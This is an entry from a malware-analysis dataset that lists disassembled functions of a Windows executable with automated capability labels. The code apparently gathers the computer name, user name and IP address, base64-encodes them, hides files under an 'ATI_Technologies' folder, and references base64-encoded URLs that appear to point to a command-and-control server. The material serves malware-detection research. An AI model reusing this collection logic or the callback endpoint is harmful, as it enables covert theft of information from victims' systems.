joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402800
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0xc
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
test esi, esi
je 0x40282a
cmp dword [esp + 0xc], 5
je 0x402831
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
pop esi
add esp, 0xc
ret
mov ecx, dword [esi + 0x10]
push edi
push ecx
call fcn.004027b0
add esp, 4
mov edi, eax
push str.EVIL
push edi
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x40286c
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call fcn.0040e3a2
jmp loc.004e37f8
mov edx, dword [esi + 4]
push ebx
push ebp
push edx
call fcn.004027b0
mov ebx, eax
mov eax, dword [esi + 8]
push eax
call fcn.004027b0
mov ecx, dword [esi + 0xc]
push ecx
mov ebp, eax
call fcn.004027b0
mov edi, dword [esp + 0x2c]
mov dl, byte [ebx]
add esp, 0xc
mov dword [esp + 0x10], eax
push ebp
lea eax, [edi + 1]
push eax
mov byte [edi], dl
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x10]
push ecx
lea edx, [edi + 0x105]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x14]
push eax
add edi, 0x209
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
call fcn.0040e3a2
push ebp
call fcn.0040e3a2
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0040e3a2
mov edx, dword [esp + 0x20]
push edx
call fcn.0040e3a2
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebp
pop ebx
pop edi
mov al, 1
pop esi
add esp, 0xc
ret

Function at 0x402900
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4174e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9d4
mov eax, dword [0x41f608]
push ebx
push esi
mov dword [ebp - 0x14], eax
push edi
lea eax, [ebp - 0x9cc]
mov dword [ebp - 0x10], esp
push eax
call fcn.00402800
add esp, 4
test al, al
je 0x402974
lea ecx, [ebp - 0x9cc]
push ecx
lea ecx, [ebp - 0x6f8]
call fcn.00407c30
lea ecx, [ebp - 0x6f8]
mov dword [ebp - 4], 0
call fcn.00409510
push 0xb5
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
lea ecx, [ebp - 0x9d8]
call fcn.0040aa80
push 0x64
call esi
lea ecx, [ebp - 0x9dc]
call fcn.00406fe0
push 0x64
call esi
lea ecx, [ebp - 0x9d4]
call fcn.00407be0
push 0x66
call esi
lea ecx, [ebp - 0x9e0]
call fcn.0040b740
push 0x65
call esi
push str.UYBLAX1CMALERDaHR0cDovL3RoZXdvcmxkbmV3cy5ieWV0aG9zdDUuY29tL29ubGluZS5waHA
push str.UUXCBBDME9DaHR0cDovL3RoZXdvcmxkbmV3cy5ieWV0aG9zdDUuY29tL29ubGluZS5waHA
lea ecx, [ebp - 0x424]
call fcn.00405170
push 0x66
call esi
lea ecx, [ebp - 0x424]
call fcn.00406a80
push 0x64
call esi
lea ecx, [ebp - 0x9d0]
call fcn.00409f10
lea ecx, [ebp - 0x9d0]
mov dword [ebp - 4], 2
call fcn.00409c00
lea ecx, [ebp - 0x424]
mov dword [ebp - 4], 0xffffffff
call fcn.00406990
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
xor eax, eax
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402a40
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret 4

Function at 0x4034a0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x144
mov ecx, dword [ebp + 0x10]
test ecx, ecx
mov eax, dword [0x41f608]
mov edx, dword [ebp + 0xc]
push ebx
push esi
mov dword [esp + 0x148], eax
push edi
jne 0x4034de
mov eax, edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4034d0
sub eax, esi
mov dword [ebp + 0x10], eax
mov ecx, eax
mov ebx, dword [ebp + 8]
mov dword [esp + 0x14], edx
lea eax, [ecx - 3]
xor edx, edx
jmp loc.004dc200
Function at 0x403e50
Capabilities:
Get file size
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
jmp loc.004e2ab0

Function at 0x403f40
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x80
push 3
push 0
push 1
push 0x1f01ff
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403f6b
xor eax, eax
pop esi
ret 0xc
push 0
push esi
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [esp + 0x10], eax
jb 0x403f96
mov edx, dword [esp + 0xc]
push 0
lea ecx, [esp + 0xc]
push ecx
push eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 8]
pop esi
ret 0xc

Function at 0x403fb0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x10
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x1f01ff
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403fe1
xor al, al
pop esi
add esp, 0x10
ret 4
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0xf
lea edx, [esp + 0x10]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x18], 0xf
jne 0x403fd8
cmp dword [esp + 4], 0xe133234a
sete al
pop esi
add esp, 0x10
ret 4

Function at 0x404020
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0xc
push esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x404051
jmp 0x4e4ea0
push 0
lea ecx, [esp + 0x18]
push ecx
push 0xc
lea edx, [esp + 0x10]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x14], 0xc
jne 0x404048
cmp dword [esp + 4], 0xff5182ee
sete al
pop esi
add esp, 0xc
ret 4
Function at 0x404090
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0xf8
mov eax, dword [0x41f608]
push ebp
push 0
push 0x80
push 3
push 0
push 1
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x114]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x404259
push ebx
push esi
push edi
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edi, [ebx + 0xa]
push edi
call fcn.0040e390
mov ecx, edi
mov edx, ecx
mov esi, eax
shr ecx, 2
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
add esp, 4
test esi, esi
rep stosb byte es:[edi], al
jne 0x404124
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
pop ebp
mov ecx, dword [esp + 0xf4]
call fcn.0040e486
add esp, 0xf8
ret 8
push 0
lea eax, [esp + 0x14]
push eax
push ebx
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor ecx, ecx
mov dword [esp + 0x15], edx
mov dword [esp + 0x39], ecx
mov dword [esp + 0x19], edx
mov dword [esp + 0x3d], ecx
mov dword [esp + 0x1d], edx
mov dword [esp + 0x41], ecx
mov dword [esp + 0x21], edx
mov dword [esp + 0x45], ecx
mov dword [esp + 0x25], edx
mov dword [esp + 0x49], ecx
mov dword [esp + 0x29], edx
mov dword [esp + 0x4d], ecx
mov dword [esp + 0x2d], edx
lea eax, [esp + 0x54]
mov byte [esp + 0x51], cl
mov byte [esp + 0x14], cl
mov dword [esp + 0x31], edx
push eax
lea ecx, [esp + 0xb0]
mov byte [esp + 0x3c], 0
mov word [esp + 0x39], dx
call fcn.00402a40
push ebx
push esi
lea ecx, [esp + 0x5c]
push ecx
lea ecx, [esp + 0xb8]
call fcn.00403340
lea edx, [esp + 0x54]
push edx
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0xb4]
call fcn.00403410
push esi
call fcn.0040e3a2
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], ecx
add esp, 4
mov byte [esp + 0x34], cl
xor esi, esi
lea edi, [esp + 0x14]
jmp 0x404200
movzx edx, byte [esp + esi + 0x38]
push edx
push str._02x
push edi
call fcn.0040e494
add esp, 0xc
inc esi
add edi, 2
cmp esi, 0x10
jl 0x404200
mov eax, dword [esp + 0x110]
xor ecx, ecx
mov edx, eax
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
mov dword [edx + 0x14], ecx
mov dword [edx + 0x18], ecx
mov dword [edx + 0x1c], ecx
mov byte [edx + 0x20], cl
push 0x20
lea ecx, [esp + 0x18]
push ecx
push eax
call fcn.0040e9f0
add esp, 0xc
mov al, 1
jmp 0x40410b
mov ecx, dword [esp + 0xf8]
xor al, al
pop ebp
call fcn.0040e486
add esp, 0xf8
ret 8

Function at 0x404280
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x14
mov eax, dword [0x41f608]
push esi
mov esi, dword [esp + 0x1c]
push edi
mov dword [esp + 0x18], eax
jmp loc.004e2790
Function at 0x404300
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x80
push 3
push 0
push 1
push 0x1f01ff
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40432b
xor al, al
pop esi
ret 8
jmp loc.004e50f8
Function at 0x4046e0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x46c
mov eax, dword [0x41f608]
push ebx
push esi
mov dword [esp + 0x470], eax
push edi
lea eax, [esp + 0x120]
push eax
mov dword [esp + 0x18], ecx
call fcn.00404280
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x41841c
lea ecx, [esp + 0x124]
push ecx
call esi
push str.ATI_Technologies
lea edx, [esp + 0x124]
push edx
call esi
push 0x41841c
lea eax, [esp + 0x124]
push eax
call esi
mov byte [esp + 0x228], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x229]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x120]
stosw word es:[edi], ax
push ecx
lea edx, [esp + 0x22c]
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x418420
lea eax, [esp + 0x22c]
push eax
call esi
lea ecx, [esp + 0x330]
push ecx
lea edx, [esp + 0x22c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4047a2
push eax
jmp 0x40483e
mov byte [esp + 0x18], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [esp + 0x10], 0
nop
cmp byte [esp + 0x35c], 0x2e
jne 0x4047db
lea eax, [esp + 0x330]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
jmp 0x4047c0
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x120]
jmp loc.004e46d0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor al, al
mov ecx, dword [esp + 0x474]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404890
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x46c
mov eax, dword [0x41f608]
push ebx
push esi
mov dword [esp + 0x470], eax
push edi
lea eax, [esp + 0x120]
push eax
mov dword [esp + 0x18], ecx
call fcn.00404280
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x41841c
lea ecx, [esp + 0x124]
push ecx
call esi
push str.ATI_Technologies
lea edx, [esp + 0x124]
push edx
call esi
push 0x41841c
lea eax, [esp + 0x124]
push eax
call esi
mov byte [esp + 0x228], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x229]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x120]
stosw word es:[edi], ax
push ecx
lea edx, [esp + 0x22c]
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str..zip
lea eax, [esp + 0x22c]
push eax
call esi
lea ecx, [esp + 0x330]
push ecx
lea edx, [esp + 0x22c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x404952
push eax
jmp 0x4049ee
mov byte [esp + 0x18], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [esp + 0x10], 0
nop
cmp byte [esp + 0x35c], 0x2e
jne 0x40498b
lea eax, [esp + 0x330]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
jmp 0x404970
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x120]
push ecx
lea edx, [esp + 0x1c]
push edx
call edi
lea eax, [esp + 0x35c]
push eax
lea ecx, [esp + 0x1c]
push ecx
call esi
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
call fcn.00404020
test al, al
jne 0x404a0b
lea eax, [esp + 0x330]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x12c
mov dword [esp + 0x10], eax
jle 0x404970
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
xor al, al
mov ecx, dword [esp + 0x474]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp + 8]
lea ecx, [esp + 0x18]
push ecx
push edx
call edi
mov ecx, dword [esp + 0x474]
mov al, 1
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x404ac0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x218
mov eax, dword [0x41f608]
jmp loc.004e6480
Function at 0x404b90
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x218
mov eax, dword [0x41f608]
push esi
mov dword [esp + 0x218], eax
push edi
lea eax, [esp + 8]
push eax
call fcn.00404280
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x41841c
lea ecx, [esp + 0xc]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea edx, [esp + 0xc]
push edx
call edi
push str.ATI_Technologies
lea eax, [esp + 0xc]
push eax
call esi
push 0x41841c
lea ecx, [esp + 0xc]
push ecx
call esi
push 0
lea edx, [esp + 0xc]
push edx
call edi
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 0x110]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp loc.004e10e8
Function at 0x404e20
Capabilities:
Get session user name

Disassembly:
sub esp, 0x20
mov eax, dword [0x41f608]
mov dword [esp + 0x1c], eax
xor eax, eax
push ebx
mov dword [esp + 0x15], eax
push ebp
mov ebx, ecx
mov dword [esp + 0x1d], eax
push 0x401
mov dword [esp + 0x18], ebx
mov byte [esp + 0x1c], 0
mov byte [esp + 0x25], al
call fcn.0040e390
mov ebp, eax
add esp, 4
test ebp, ebp
je 0x404e69
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x404e7a
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
call fcn.0040e486
add esp, 0x20
ret
push esi
push edi
push str.GetComputerNameExA
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x404ecb
push 0x1e
call fcn.0040e390
add esp, 4
mov esi, eax
push str.ERRORNAME_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xa
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040edb3
add esp, 0xc
lea edx, [esp + 0x20]
push edx
jmp 0x404f40
lea eax, [esp + 0x10]
push eax
push 0
push 7
call edi
mov eax, dword [esp + 0x10]
cmp eax, 1
jae 0x404ee8
mov eax, 0x200
mov dword [esp + 0x10], eax
inc eax
push eax
call fcn.0040e390
mov esi, eax
add esp, 4
test esi, esi
jne 0x404f0b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
call fcn.0040e486
add esp, 0x20
ret
lea ecx, [esp + 0x10]
push ecx
push esi
push 7
call edi
test eax, eax
jne 0x404f47
push str.ERRORNAME_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xa
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040edb3
add esp, 0xc
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
call edi
push eax
push esi
push ebp
call fcn.004034a0
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
push ebp
call edi
push eax
push ebp
mov ecx, ebx
call fcn.00404360
test esi, esi
mov dword [ebx + 0x400], eax
je 0x404f7f
push esi
call fcn.0040e3a2
add esp, 4
mov ebx, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 0x14]
push edx
push 0
mov dword [esp + 0x1c], 0
call ebx
mov eax, dword [esp + 0x14]
cmp eax, 1
jae 0x404fa8
mov eax, 0x200
mov dword [esp + 0x14], eax
inc eax
push eax
call fcn.0040e390
mov esi, eax
add esp, 4
lea eax, [esp + 0x14]
push eax
push esi
call ebx
test eax, eax
jne 0x404fee
push str.ERRORNAME_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xa
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040edb3
add esp, 0xc
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
call edi
push eax
push esi
push ebp
call fcn.004034a0
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push ebp
call edi
mov edi, dword [esp + 0x20]
push eax
push ebp
mov ecx, edi
call fcn.00404360
test esi, esi
mov dword [edi + 0x404], eax
je 0x405024
push esi
call fcn.0040e3a2
add esp, 4
push ebp
jmp 0x4e1ef8
Function at 0x405040
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x29c
mov eax, dword [0x41f608]
push ebx
push esi
mov dword [esp + 0x2a0], eax
push edi
lea eax, [esp + 0x110]
push eax
push 0x202
mov ebx, ecx
call sub.WSOCK32.dll_WSAStartup
test eax, eax
je 0x405088
xor al, al
mov ecx, dword [esp + 0x2a4]
call fcn.0040e486
jmp loc.004da450
push pe_nt_image_headers32
push 1
call fcn.0040e3da
mov esi, eax
xor eax, eax
mov byte [esp + 0x18], 0
mov ecx, 0x1f
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [esp + 0x98], 0
xor eax, eax
mov ecx, 0x1f
lea edi, [esp + 0x99]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 8
stosb byte es:[edi], al
push 0x80
xor eax, eax
mov ecx, 0x40
mov edi, esi
push esi
rep stosd dword es:[edi], eax
call sub.WSOCK32.dll_gethostname
push esi
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x40514e
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx]
test eax, eax
je 0x40514e
mov edx, dword [eax]
push edx
call sub.WSOCK32.dll_inet_ntoa
push eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0x10]
push ecx
call edi
push eax
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x98]
push eax
call fcn.004034a0
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x94]
push edx
call edi
push eax
lea eax, [esp + 0x98]
push eax
mov ecx, ebx
call fcn.00404360
mov dword [ebx + 0x40c], eax
push esi
call fcn.0040e3a2
mov ecx, dword [esp + 0x2a8]
add esp, 4
mov al, 1
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405200
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417510
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x118
mov eax, dword [0x41f608]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov esi, ecx
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x118], bl
mov ecx, 0x40
lea edi, [ebp - 0x117]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x118]
mov dword [ebp - 0x10], esp
push eax
mov ecx, esi
call fcn.00404890
test al, al
je 0x4052bd
lea ecx, [ebp - 0x124]
push ecx
lea edx, [ebp - 0x118]
push edx
mov ecx, esi
call fcn.00404300
test al, al
je 0x4052bd
mov eax, dword [ebp - 0x120]
cmp eax, dword [0x41c270]
jbe 0x4052bd
mov edx, dword [ebp - 0x124]
sub esp, 0xc
mov ecx, esp
mov dword [ecx], edx
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x11c]
mov dword [ecx + 8], eax
lea ecx, [ebp - 0x118]
push ecx
mov ecx, esi
mov dword [ebp - 4], ebx
call fcn.00404470
cmp al, bl
je 0x4052bd
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
xor al, al
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4052e0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x41f608]
push ebx
mov dword [esp + 0x134], eax
push esi
push edi
mov ebx, ecx
xor eax, eax
mov byte [esp + 0x30], 0
mov ecx, 0x40
lea edi, [esp + 0x31]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x30]
push eax
mov ecx, ebx
call fcn.004046e0
test al, al
je 0x4053e9
push 0
push 0x80
push 3
push 0
push 1
push 0x1f01ff
lea ecx, [esp + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4053e9
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x4053e9
push esi
call fcn.0040e390
add esp, 4
push esi
push eax
lea edx, [esp + 0x38]
push edx
mov ecx, ebx
mov dword [esp + 0x1c], eax
call fcn.00403f40
test eax, eax
je 0x4053e9
push esi
call fcn.0040e390
mov edi, eax
mov eax, dword [esp + 0x14]
push esi
push eax
push edi
mov dword [esp + 0x24], edi
call fcn.0040e9f0
mov edx, dword [esp + 0x20]
add esp, 0x10
push 0x18
push 0x41c5d8
lea ecx, [esi - 8]
push ecx
lea eax, [edi + 8]
push eax
add edx, 8
push edx
mov ecx, ebx
call fcn.00403d60
test eax, eax
jne 0x4053cb
mov eax, dword [esp + 0x10]
push eax
jmp 0x4053db
mov eax, dword [edi + 8]
lea ecx, [eax + eax*2 + 0xc]
cmp esi, ecx
jae 0x4053fe
mov edx, dword [esp + 0x10]
push edx
call fcn.0040e3a2
push edi
call fcn.0040e3a2
add esp, 8
xor al, al
jmp 0x4e5d78
test eax, eax
jbe 0x405477
lea esi, [edi + 0xe]
mov edi, eax
jmp 0x405410
movzx ecx, word [esi - 2]
xor eax, eax
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov dword [esp + 0x25], eax
push ecx
mov dword [esp + 0x2d], eax
lea edx, [esp + 0x20]
mov word [esp + 0x31], ax
push 0x4184ac
push edx
mov byte [esp + 0x28], 0
mov byte [esp + 0x3b], al
call fcn.0040e494
movzx eax, byte [esi]
add esp, 0xc
push 4
lea ecx, [esp + 0x1c]
push ecx
push 4
lea edx, [esp + 0x28]
push edx
push 0x41836c
push 0x80000002
mov ecx, ebx
mov dword [esp + 0x30], eax
call fcn.0040abb0
add esi, 3
dec edi
jne 0x405410
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push eax
call fcn.0040e3a2
push edi
call fcn.0040e3a2
mov ecx, dword [esp + 0x144]
add esp, 8
mov al, 1
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405550
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x41755a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
mov dword [esi], 0x4184b0
xor ebx, ebx
mov eax, 0xf
mov dword [esi + 0x28], eax
mov dword [esi + 0x24], ebx
push edi
mov dword [esp + 0xc], esi
mov byte [esi + 0x14], bl
mov dword [esi + 0x44], eax
mov dword [esi + 0x40], ebx
mov dword [esp + 0x18], ebx
mov byte [esi + 0x30], bl
mov dword [esi + 0x60], eax
mov dword [esi + 0x5c], ebx
mov byte [esi + 0x4c], bl
mov dword [esi + 0x7c], eax
mov dword [esi + 0x78], ebx
mov byte [esi + 0x68], bl
lea edi, [esi + 0x88]
mov ecx, edi
mov byte [esp + 0x18], 3
call fcn.004054a0
mov dword [edi + 4], eax
mov dword [edi + 8], ebx
lea edi, [esi + 0x94]
mov ecx, edi
mov byte [esp + 0x18], 4
call fcn.004054a0
mov ecx, dword [esp + 0x10]
mov dword [edi + 4], eax
mov dword [edi + 8], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x405a70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4175fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x32b0
call fcn.0040ee00
jmp loc.004decf8